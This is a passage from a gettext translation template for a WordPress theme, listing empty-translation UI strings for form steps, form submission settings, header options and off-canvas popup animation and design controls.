includes/metaboxes/tabs/tab_form_steps.php:445 msgid "Whether to show number or icons in the steps." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:450 msgid "Numbers" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:465 msgid "Icon/Number Color" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:466 msgid "Controls the color of the icons or the numbers." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:507 msgid "Icon Size" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:508 msgid "Controls the size of the icon. In pixels." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:534 msgid "Icon/Number Background" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:535 msgid "Turn on to display a background behind the icon." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:560 msgid "Icon/Number Background Color" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:561 msgid "Controls the background color of the icons or the numbers." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:607 msgid "Icon/Number Padding" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:608 msgid "Controls the size of the icon padding. In pixels." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:638 msgid "Icon/Number Border Radius" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:670 msgid "Icon Border Width" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:701 msgid "Icon Border Style" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:702 msgid "Controls the border style of the icon." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:738 msgid "Icon Border Color" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:739 msgid "Controls the icon border color." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:790 msgid "Steps Title" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:791 msgid "" "Whether to display title or not. If set to no, step title will still be " "heard by users using screen readers (for accessibility)." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:811 msgid "Steps Title Position" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:812 msgid "Select the step title position in relation with the icon/number." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:844 msgid "Gap Between Icon and Title" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:871 msgid "Step Title Typography" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:872 msgid "" "Controls the typography of the title. Leave empty for the global font " "family." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:910 msgid "Steps Title Color" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:911 msgid "Controls the color of the step title font." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:957 msgid "Progress Text" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:958 msgid "Select if you want the filled area percentage value to be shown." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:963 msgid "Percentages" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:978 msgid "Text Align" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:979 msgid "Choose the alignment of the text." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:982 includes/options/blog.php:530 msgid "Text Flow" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1006 msgid "Progress Bar Typography" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1007 msgid "Controls the text typography." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1044 msgid "Progress Bar Title Color" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1045 msgid "" "Controls the color of the progress bar title font. Default is inherited " "from global progress bar value." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1066 msgid "Progress Bar Striped Filling" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1067 msgid "Choose to get the filled area striped." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1087 msgid "Progress Bar Animated Stripes" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1088 msgid "Choose to get the the stripes animated." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1113 msgid "Progress Bar Height" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1114 msgid "" "Insert a height for the progress bar. Enter value including any valid CSS " "unit, ex: 10px. Default value taken from Progress Bar element global " "setting." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1130 msgid "Progress Bar Filled Color" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1131 msgid "" "Controls the color of the filled in area. Default value taken from Progress " "Bar element global setting." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1148 msgid "Progress Bar Unfilled Color" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1149 msgid "" "Controls the color of the unfilled in area. Default value taken from " "Progress Bar element global setting." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1166 msgid "Progress Bar Border Radius" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1188 msgid "Progress Bar Filled Border Size" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1189 msgid "" "Enter values including any valid CSS unit, ex: 10px or 10%. Default value " "taken from Progress Bar element global setting." msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1210 msgid "Progress Bar Filled Border Color" msgstr "" #: includes/metaboxes/tabs/tab_form_steps.php:1211 msgid "" "Controls the border color of the filled in area. Default value taken from " "Progress Bar element global setting." msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:21 msgid "Save To Database" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:22 msgid "Send To URL" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:23 #: includes/options/forms.php:505 msgid "Mailchimp" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:24 #: includes/options/forms.php:436 msgid "HubSpot" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:25 msgid "Open Off Canvas" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:26 msgid "Login" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:28 msgid "Lost Password" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:29 msgid "Reset Password" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:47 msgid "Submission Type" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:48 msgid "" "Select \"AJAX\" to store form data using predefined methods and \"POST\" if " "you want to implement your own. NOTE: Notification will be " "only sent when submission type is set to \"AJAX\". To receive Email " "submission notifications, please visit the Notifications tab." msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:53 #: includes/metaboxes/tabs/tab_form_submission.php:101 #: includes/metaboxes/tabs/tab_form_submission.php:165 msgid "POST" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:59 msgid "Actions" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:60 msgid "Select actions to apply when form submit." msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:61 msgid "Select or Leave Blank for None." msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:78 #. translators: Form entries link. msgid "" "IMPORTANT NOTE: You can view and manage form submissions " "by going to form entries section and " "selecting this form from the dropdown list." msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:95 #: includes/metaboxes/tabs/tab_form_submission.php:159 msgid "Submission Method" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:96 #: includes/metaboxes/tabs/tab_form_submission.php:160 msgid "Make a selection for form submission method." msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:102 #: includes/metaboxes/tabs/tab_form_submission.php:166 msgid "GET" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:114 #: includes/metaboxes/tabs/tab_form_submission.php:171 msgid "Form Submission URL" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:116 #: includes/metaboxes/tabs/tab_form_submission.php:173 msgid "Enter the URL where form data should be sent to." msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:128 msgid "Notifications will be only sent when submission type is set to \"AJAX\"." msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:178 msgid "Custom Headers" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:179 msgid "" "If you are using this form to integrate with a third-party API, you can use " "custom headers to implement authentication or pass-on any extra headers the " "API requires." msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:190 msgid "Custom Header Key" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:191 msgid "" "Enter the key for the request's custom header. Example: " "Content-Type" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:197 msgid "Custom Header Value" msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:198 msgid "Enter the value for your custom-header." msgstr "" #: includes/metaboxes/tabs/tab_form_submission.php:212 msgid "Select Off Canvas to open after form submission." msgstr "" #: includes/metaboxes/tabs/tab_fusion_template.php:27 msgid "Show Header in Live Editor" msgstr "" #: includes/metaboxes/tabs/tab_fusion_template.php:32 msgid "Choose to show or hide the header in Live Editor." msgstr "" #: includes/metaboxes/tabs/tab_fusion_template.php:39 msgid "Show Page Title Bar in Live Editor" msgstr "" #: includes/metaboxes/tabs/tab_fusion_template.php:44 msgid "Choose to show or hide the page title bar in Live Editor." msgstr "" #: includes/metaboxes/tabs/tab_fusion_template.php:51 msgid "Show Footer in Live Editor" msgstr "" #: includes/metaboxes/tabs/tab_fusion_template.php:56 msgid "Choose to show or hide the footer in Live Editor." msgstr "" #: includes/metaboxes/tabs/tab_header.php:63 #. translators: The edit link. Text of link is the title. msgid "Display Header" msgstr "" #: includes/metaboxes/tabs/tab_header.php:69 msgid "Choose to show or hide the header." msgstr "" #: includes/metaboxes/tabs/tab_header.php:75 includes/options/header.php:998 msgid "100% Header Width" msgstr "" #: includes/metaboxes/tabs/tab_header.php:83 #. translators: Additional description (defaults). msgid "" "Choose to set header width to 100% of the browser width. Select \"No\" " "for site width. %s" msgstr "" #: includes/metaboxes/tabs/tab_header.php:126 #: includes/metaboxes/tabs/tab_off_canvas_design.php:37 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:82 msgid "Background Image" msgstr "" #: includes/metaboxes/tabs/tab_header.php:128 #. translators: Additional description (defaults). msgid "" "Select an image for the header background. If left empty, the header " "background color will be used. For top headers the image displays on top of " "the header background color and will only display if header opacity is set " "to 1. For side headers the image displays behind the header background " "color so the header opacity must be set below 1 to see the image. %s" msgstr "" #: includes/metaboxes/tabs/tab_header.php:141 msgid "Choose to have the background image display at 100%." msgstr "" #: includes/metaboxes/tabs/tab_header.php:163 #: includes/metaboxes/tabs/tab_off_canvas_design.php:78 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:135 msgid "Select how the background image repeats." msgstr "" #: includes/metaboxes/tabs/tab_header.php:186 msgid "Main Navigation Menu" msgstr "" #: includes/metaboxes/tabs/tab_header.php:188 #. translators: Additional description (defaults). msgid "Select which menu displays on this page. %s" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:21 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:36 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:323 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:404 msgid "Bounce" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:22 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:37 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:324 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:405 #: includes/metaboxes/tabs/tab_page.php:134 includes/options/extra.php:508 #: includes/options/menu.php:540 includes/options/menu.php:1448 msgid "Fade" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:23 msgid "Flash" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:24 msgid "Rubberband" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:25 msgid "Shake" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:27 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:39 msgid "Slide Short" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:29 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:41 msgid "Flip Vertically" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:30 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:42 msgid "Flip Horizontally" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:31 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:43 msgid "Light Speed" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:53 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:317 msgid "Entrance Animation" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:54 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:318 msgid "Set the Off Canvas entrance animation." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:72 msgid "Direction Of Entrance Animation" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:73 msgid "Select the direction of the entrance animation." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:81 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:218 msgid "Static" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:132 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:340 msgid "Entrance Animation Speed" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:133 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:341 msgid "Set the speed of the entrance animation in seconds (0.1 - 5)." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:160 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:368 msgid "Timing Of Entrance Animation" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:161 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:369 msgid "Select the timing function of the entrance animation." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:165 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:292 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:373 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:454 msgid "Ease" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:166 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:293 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:374 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:455 msgid "Linear" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:167 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:294 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:375 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:456 msgid "Ease-in" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:168 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:295 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:376 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:457 msgid "Ease-out" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:169 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:296 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:377 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:458 msgid "Ease-in-out" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:190 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:398 msgid "Exit Animation" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:191 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:399 msgid "Set the Off Canvas exit animation." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:209 msgid "Direction Of Exit Animation" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:210 msgid "Select the direction of the exit animation." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:259 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:421 msgid "Exit Animation Speed" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:260 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:422 msgid "Set the speed of the exit animation in seconds (0.1 - 5)." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:287 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:449 msgid "Timing Of Exit Animation" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_animation.php:288 #: includes/metaboxes/tabs/tab_off_canvas_animation.php:450 msgid "Select the timing function of the exit animation." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:26 msgid "Close On Overlay Click" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:27 msgid "Off Canvas is closed by clicking on overlay." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:45 msgid "Close On Anchor Click" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:46 msgid "Off Canvas is closed when clicking on a scroll-to anchor link." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:57 msgid "Close With ESC Key" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:58 msgid "" "Enable/Disable. When enabled, you can use the ESC button to close the Off " "Canvas." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:69 msgid "Automatically Close After Time" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:70 msgid "" "Set time in seconds to close Off Canvas automatically after it has passed, " "Leave empty to remain open." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:76 msgid "Close Button" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:77 msgid "Enable/Disable close button." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:91 #: includes/metaboxes/tabs/tab_off_canvas_general.php:65 #: includes/metaboxes/tabs/tab_off_canvas_triggers.php:107 msgid "Position" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:92 msgid "Set close button position." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:113 msgid "Show Close Button After Time" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:114 msgid "" "Set time in seconds to show the close button, Leave empty to immediately " "show." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:126 msgid "Close Button Margin" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:127 msgid "" "Set the margin of the close button. Default is 20px from the top and the " "selected position side. Enter values including any valid CSS unit. Negative " "values are accepted." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:150 msgid "Close Icon Color" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:151 msgid "Set the color of the close icon." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:168 msgid "Close Icon Hover Color" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:169 msgid "Set the hover color of the close icon." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:190 msgid "Close Icon Size" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:191 msgid "Set the size of the close icon." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:214 msgid "Custom Icon" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_close.php:215 msgid "Select a custom icon for the close button." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_conditions.php:26 msgid "Enable Conditions" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_conditions.php:27 msgid "" "Set conditions for displaying Off Canvas. NOTE: When this " "is disabled, Off Canvas can only be displayed using the Off Canvas Toggle " "on the Avada Special Menu Items." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_conditions.php:39 msgid "Load Off Canvas on these pages." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:27 msgid "Choose the background color. Leave empty for default value of #ffffff." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:38 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:83 msgid "Upload an image to display in the background." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:49 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:101 msgid "Choose how the background image is positioned." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:57 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:109 msgid "Left Top" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:58 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:110 msgid "Left Center" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:59 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:111 msgid "Left Bottom" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:60 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:112 msgid "Right Top" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:61 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:113 msgid "Right Center" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:62 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:114 msgid "Right Bottom" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:63 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:115 msgid "Center Top" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:64 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:116 msgid "Center Center" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:65 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:117 msgid "Center Bottom" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:87 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:144 msgid "Repeat Vertically and Horizontally" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:88 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:145 #: includes/options/background.php:125 includes/options/background.php:356 #: includes/options/footer.php:444 includes/options/header.php:796 msgid "Repeat Horizontally" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:89 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:146 #: includes/options/background.php:126 includes/options/background.php:357 #: includes/options/footer.php:445 includes/options/header.php:797 msgid "Repeat Vertically" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:107 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:169 msgid "Select the background image size." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:129 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:196 msgid "Background Custom Size" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:130 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:197 msgid "Use any valid CSS value ex. 500px, 50%, 60vw." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:156 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:228 msgid "Background Blend Mode" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:157 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:229 msgid "Choose how blending should work for each background layer." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:166 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:238 msgid "Multiply" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:167 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:239 msgid "Screen" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:169 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:241 msgid "Darken" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:170 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:242 msgid "Lighten" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:171 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:243 msgid "Color Dodge" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:172 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:244 msgid "Color Burn" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:173 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:245 msgid "Hard Light" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:174 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:246 msgid "Soft Light" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:175 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:247 msgid "Difference" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:176 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:248 msgid "Exclusion" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:177 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:249 msgid "Hue" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:178 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:250 msgid "Saturation" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:180 #: includes/metaboxes/tabs/tab_off_canvas_overlay.php:252 msgid "Luminosity" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:192 msgid "Scrollbar" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:193 msgid "" "Hide or customize Off Canvas scrollbar. Styling and support varies " "depending on the browser." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:204 msgid "Hidden" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:209 msgid "Scrollbar Background Color" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:210 msgid "Choose the background color of the scrollbar." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:227 #: includes/options/extra.php:217 msgid "Scrollbar Handle Color" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:228 msgid "Choose the scrollbar handle color." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:244 msgid "Border Radius" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:245 #: includes/metaboxes/tabs/tab_off_canvas_design.php:261 msgid "Enter values including any valid CSS unit, ex: 10px." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:260 msgid "Border Width" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:277 msgid "Set the border color." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:287 msgid "Controls the Off Canvas margin." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:303 msgid "Controls the Off Canvas padding." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:319 msgid "Z-Index" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:320 msgid "Enter the value for z-index CSS property, can be both positive or negative." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:330 msgid "Box Shadow" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:331 msgid "Enable/Disable box shadow." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:344 msgid "Box Shadow Position" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:345 msgid "" "Set the vertical and horizontal position of the box shadow. Positive values " "put the shadow below and right of the box, negative values put it above and " "left of the box. In pixels, ex. 5px." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:366 msgid "Box Shadow Blur Radius" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:367 msgid "Set the blur radius of the box shadow. In pixels." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:389 msgid "Box Shadow Spread Radius" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:390 msgid "Set the spread radius of the box shadow. In pixels." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:412 msgid "Box Shadow Color" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_design.php:413 msgid "Set the color of the box shadow." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:27 msgid "Off Canvas Type" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:28 msgid "Select Off Canvas Type. Each Type has a unique set of options." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:32 msgid "Popup" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:33 #: includes/options/sliding_bar.php:27 msgid "Sliding Bar" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:44 msgid "Set the default state." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:48 msgid "Closed" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:49 msgid "Open" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:66 msgid "Set the position of the sliding bar." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:89 msgid "Transition" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:90 msgid "Set the transition of the sliding bar." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:94 msgid "Overlap" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:95 msgid "Push" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:114 msgid "Set Off Canvas width. Enter value including any valid CSS unit, ex: 800px" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:128 msgid "Select Off Canvas height." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:132 msgid "Fit With Content" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:133 msgid "Full Height" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:134 #: includes/metaboxes/tabs/tab_off_canvas_general.php:150 msgid "Custom Height" msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:151 msgid "" "Set a custom OFF Canvas height. Enter value including any valid CSS unit, " "ex: 600px." msgstr "" #: includes/metaboxes/tabs/tab_off_canvas_general.php:176 msgid 